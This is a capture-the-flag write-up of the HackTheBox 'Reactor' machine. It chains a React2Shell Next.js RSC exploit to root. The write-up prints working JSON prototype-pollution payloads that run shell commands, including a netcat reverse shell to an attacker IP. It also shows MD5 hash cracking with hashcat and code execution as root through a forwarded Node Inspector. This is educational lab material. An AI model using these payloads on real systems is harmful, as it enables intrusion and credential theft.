

Reactor HTB – Easy Machine

Martina Giacobbe

1 Executive Summary

This report documents the complete compromise of the **Reactor** HackTheBox machine. The attack chain begins with the discovery of a vulnerable Next.js/React application exposing a React Server Components (RSC) endpoint affected by **React2Shell (CVE-2025-55182)**. Exploitation of this vulnerability leads to remote code execution as the **node** user.

Subsequent local enumeration reveals application credentials stored within a SQLite database. After cracking a weak password hash, SSH access is obtained as the **engineer** user. Finally, a Node.js debugging interface running locally with root privileges is abused through SSH port forwarding and the Node Inspector protocol, resulting in arbitrary code execution as root.

2 Reconnaissance

2.1 Nmap Scan

Initial enumeration identified the following open ports:

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp	open	ppp?	

The presence of a web service on TCP port 3000 became the primary attack surface.

3 Web Application Analysis

3.1 Application Fingerprinting

Accessing port 3000 revealed an application identified as:

CORE MONITORING SYSTEM v3.2.1

Initial responses exhibited a characteristic serialization format:

1:I[...]
0:["\$","..."]

These structures are highly indicative of the **React Flight protocol**, which is used internally by **React Server Components (RSC)** in modern Next.js applications.

3.2 React Server Components

React Server Components allow portions of application logic to execute on the server while streaming serialized component trees back to the client.

Internally, React uses the **Flight Protocol**, a custom serialization mechanism that transfers component state and rendering instructions between the server and browser.

Security issues affecting this layer can be particularly severe because user-controlled data may interact directly with server-side JavaScript execution contexts.

3.3 Vulnerability Identification

The application version was found to be vulnerable to:

React2Shell (CVE-2025-55182)

This vulnerability allows attackers to manipulate React Flight payloads in a manner that results in arbitrary JavaScript execution on the server.

4 Initial Exploitation

4.1 Proof of Vulnerability

A crafted request was used to read arbitrary files from the target system.

```
POST / HTTP/1.1
Host: reactor.htb:3000
Next-Action: x
Content-Type: multipart/form-data

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require(
'child_process').execSync(
'cat /etc/passwd',
{'timeout':5000}).toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'),
{digest:'${res}'});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
```

The response contained the contents of `/etc/passwd`:

```
root:x:0:0:root:/root:/bin/bash
...
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
node:x:999:988:./home/node:/usr/sbin/nologin
...
```

This confirmed arbitrary command execution on the server.

4.2 Remote Shell

The payload was modified to obtain an interactive reverse shell:

```
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
```

```

    "_prefix": "var res=process.mainModule.require(
'child_process').execSync(
'rm /tmp/f;mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|
nc 10.10.15.10 9002 >/tmp/f',
{'timeout':5000}).toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'),
{digest:'${res}'});",
    "_chunks": "$Q2",
    "_formData": {
        "get": "$1:constructor:constructor"
    }
}
}
}

```

This yielded a shell on the target system.

5 Post-Exploitation Enumeration

5.1 Environment Variables

Inspection of the application environment revealed:

```

# ReactorWatch Configuration

DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3

# API Keys
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook

# Node environment
NODE_ENV=production

```

Most importantly, the database location was disclosed:

```
/opt/reactor-app/reactor.db
```

5.2 Database Analysis

The SQLite database contained two tables:

```

sqlite> .tables
sensor_logs users

```

The users schema was:

```

CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT NOT NULL,
    password_hash TEXT NOT NULL,
    role TEXT NOT NULL,
    email TEXT
);

```

Stored credentials:

```

1|admin|a203b22191d744a4e70ada5c101b17b8|administrator
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator

```

6 Credential Access

6.1 Hash Identification

The hash length suggested a 32-character hexadecimal digest consistent with MD5.

The engineer hash was extracted:

```
39d97110eafe2a9a68639812cd271e8e
```

6.2 Hash Cracking

Using Hashcat:

```
echo "39d97110eafe2a9a68639812cd271e8e" > hash.txt  
  
hashcat -m 0 -a 0 hash.txt \  
/usr/share/wordlists/rockyou.txt
```

Result:

```
engineer:reactor1
```

6.3 SSH Access

The recovered credentials allowed SSH authentication:

```
engineer:reactor1
```

This provided a stable interactive shell as the **engineer** user.

7 Privilege Escalation Enumeration

7.1 Initial Hypothesis: LXD

The user appeared to possess characteristics commonly associated with LXD privilege escalation scenarios.

LXD is a container hypervisor built on top of LXC and can become a privilege escalation vector when unprivileged users are granted membership in the **lxd** group.

However, further investigation revealed that this path was not viable in this environment.

8 Discovery of Node Inspector

8.1 Network Enumeration

Listening services were enumerated:

```
ss -tulpn
```

Output:

```
tcp LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*  
tcp LISTEN 0 511 *:3000 *:*  
tcp LISTEN 0 4096 0.0.0.0:22 *:*
```

Particularly interesting was:

```
127.0.0.1:9229
```

Port 9229 is the default port used by the **Node.js Inspector Protocol**.

8.2 Node Inspector Overview

Node.js can be launched using:

```
node --inspect
```

or

```
node --inspect-brk
```

which exposes a debugging interface accessible via WebSockets.

The Inspector Protocol allows:

- Viewing program state
- Setting breakpoints
- Reading memory
- Evaluating arbitrary JavaScript expressions

If the Node process runs as root, any evaluated code executes with root privileges.

9 Privilege Escalation via Inspector Protocol

9.1 Port Forwarding

The debug service was bound to localhost and therefore inaccessible remotely.

SSH local forwarding was used:

```
ssh -L 9229:127.0.0.1:9229 engineer@reactor.htb
```

This mapped the target's localhost service onto the attacker's machine.

9.2 Attaching DevTools

Using Chrome/Chromium DevTools, a debugging session was established against the forwarded Node Inspector endpoint.

Once attached, arbitrary JavaScript expressions could be evaluated directly within the context of the running Node process.

Because the target process was running as root, any executed JavaScript inherited root privileges.

9.3 Root Flag Retrieval

The following JavaScript expression was executed:

```
require('child_process')
  .execSync('cat /root/root.txt')
  .toString()
```

The command successfully returned the contents of the root flag.

10 Root Cause Analysis

The compromise resulted from multiple security failures:

1. A vulnerable React Server Components implementation exposed to untrusted users.
2. Use of a publicly reachable version affected by React2Shell (CVE-2025-55182).
3. Weak password storage allowing rapid cracking of user credentials.
4. Exposure of sensitive application configuration through local file access.
5. A root-owned Node.js process running with the Inspector interface enabled.
6. Lack of access controls preventing unprivileged users from reaching the debugging service through SSH tunneling.

11 Conclusion

The complete attack path was:

1. Enumerate exposed services.
2. Identify Core Monitoring System v3.2.1.
3. Detect React Server Components usage.
4. Exploit React2Shell (CVE-2025-55182) for RCE.
5. Obtain a reverse shell as the Node application user.
6. Recover database credentials from SQLite.
7. Crack the engineer user's MD5 password hash.
8. Authenticate via SSH.
9. Discover a root-owned Node Inspector service on localhost.
10. Forward the service using SSH tunneling.
11. Attach Chrome DevTools.
12. Execute JavaScript inside the root process.
13. Retrieve the root flag and achieve full system compromise.

The machine demonstrates a realistic attack chain involving modern JavaScript frameworks, insecure credential management, and dangerous exposure of debugging interfaces in production environments.